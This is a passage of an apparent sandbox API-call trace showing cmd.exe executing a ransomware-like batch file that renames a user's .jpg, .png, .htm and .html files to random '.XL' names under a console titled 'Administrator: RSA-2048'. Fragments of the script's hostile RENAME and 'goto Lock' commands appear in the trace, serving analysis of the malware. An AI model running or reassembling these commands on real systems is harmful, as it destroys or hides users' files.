cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 1 [0037.977] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZBPLPhCRCXl.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbplphcrcxl.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\10354.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\10354.xl")) returned 0 [0037.977] GetLastError () returned 0xb7 [0037.977] _get_osfhandle (_FileHandle=2) returned 0xb [0037.977] GetFileType (hFile=0xb) returned 0x2 [0037.978] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.978] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.978] _get_osfhandle (_FileHandle=2) returned 0xb [0037.978] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.978] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.978] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.979] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.979] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24e3c0, ftCreationTime.dwHighDateTime=0x1d5e1b3, ftLastAccessTime.dwLowDateTime=0x22975c80, ftLastAccessTime.dwHighDateTime=0x1d5e6e2, ftLastWriteTime.dwLowDateTime=0x22975c80, ftLastWriteTime.dwHighDateTime=0x1d5e6e2, nFileSizeHigh=0x0, nFileSizeLow=0x2fc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZBPLPhCRCXl.jpg", cAlternateFileName="")) returned 0 [0037.979] GetLastError () returned 0x12 [0037.979] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0037.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.980] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.980] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.980] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.980] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.980] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.980] SetConsoleInputExeNameW () returned 0x1 [0037.980] GetConsoleOutputCP () returned 0x1b5 [0037.981] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.981] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.981] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.981] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.981] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.981] SetFilePointer (in: hFile=0x74, lDistanceToMove=5194, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.981] GetProcessHeap () returned 0x4e0000 [0037.981] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0037.981] GetProcessHeap () returned 0x4e0000 [0037.981] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0037.981] GetProcessHeap () returned 0x4e0000 [0037.981] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0037.981] GetProcessHeap () returned 0x4e0000 [0037.981] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.981] GetProcessHeap () returned 0x4e0000 [0037.981] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0037.982] GetProcessHeap () returned 0x4e0000 [0037.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0037.982] GetProcessHeap () returned 0x4e0000 [0037.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.982] GetProcessHeap () returned 0x4e0000 [0037.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0037.982] GetProcessHeap () returned 0x4e0000 [0037.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.982] GetProcessHeap () returned 0x4e0000 [0037.982] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x144a [0037.982] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x11e3, lpOverlapped=0x0) returned 1 [0037.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0037.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.982] GetFileType (hFile=0x74) returned 0x1 [0037.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.983] GetProcessHeap () returned 0x4e0000 [0037.983] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.983] GetProcessHeap () returned 0x4e0000 [0037.983] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.983] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.983] GetProcessHeap () returned 0x4e0000 [0037.983] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0037.983] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.983] _tell (_FileHandle=3) returned 5205 [0037.983] _close (_FileHandle=3) returned 0 [0037.983] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.984] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.984] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.984] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.984] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.984] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.984] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.984] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.984] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.984] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.984] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.984] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.984] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.984] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.984] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.984] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.984] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.984] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.984] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.984] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.984] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.984] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.984] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.985] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0037.985] GetProcessHeap () returned 0x4e0000 [0037.985] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0037.985] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.985] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.985] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.985] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.985] SetFilePointer (in: hFile=0x74, lDistanceToMove=5205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.985] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.985] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.985] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.985] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.985] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.985] GetFileType (hFile=0x74) returned 0x1 [0037.985] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1455 [0037.985] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.985] SetFilePointer (in: hFile=0x74, lDistanceToMove=5207, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.986] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.986] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.986] GetFileType (hFile=0x74) returned 0x1 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1457 [0037.986] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=5213, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\n 10354.XL") returned 6 [0037.986] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.986] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.986] GetFileType (hFile=0x74) returned 0x1 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145d [0037.986] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.986] SetFilePointer (in: hFile=0x74, lDistanceToMove=5215, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.986] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nng\r\n") returned 2 [0037.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.987] GetFileType (hFile=0x74) returned 0x1 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x145f [0037.987] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=5241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n") returned 26 [0037.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.987] GetFileType (hFile=0x74) returned 0x1 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1479 [0037.987] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.987] SetFilePointer (in: hFile=0x74, lDistanceToMove=5252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.987] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0037.987] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.988] GetFileType (hFile=0x74) returned 0x1 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1484 [0037.988] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=5254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.988] GetFileType (hFile=0x74) returned 0x1 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1486 [0037.988] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=5260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.988] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\nock\r\n") returned 6 [0037.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.988] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.988] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.989] GetFileType (hFile=0x74) returned 0x1 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148c [0037.989] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=5262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0037.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.989] GetFileType (hFile=0x74) returned 0x1 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x148e [0037.989] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=5288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.989] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0037.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.989] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.989] GetFileType (hFile=0x74) returned 0x1 [0037.989] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14a8 [0037.990] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=5299, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0037.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.990] GetFileType (hFile=0x74) returned 0x1 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b3 [0037.990] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=5301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.990] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.990] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.990] GetFileType (hFile=0x74) returned 0x1 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14b5 [0037.990] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.990] SetFilePointer (in: hFile=0x74, lDistanceToMove=5308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0037.991] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.991] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.991] GetFileType (hFile=0x74) returned 0x1 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14bc [0037.991] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=5310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0037.991] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.991] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.991] GetFileType (hFile=0x74) returned 0x1 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14be [0037.991] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.991] SetFilePointer (in: hFile=0x74, lDistanceToMove=5337, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.991] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0037.991] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.992] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x14d9 [0037.992] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.993] GetFileType (hFile=0x74) returned 0x1 [0037.993] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, 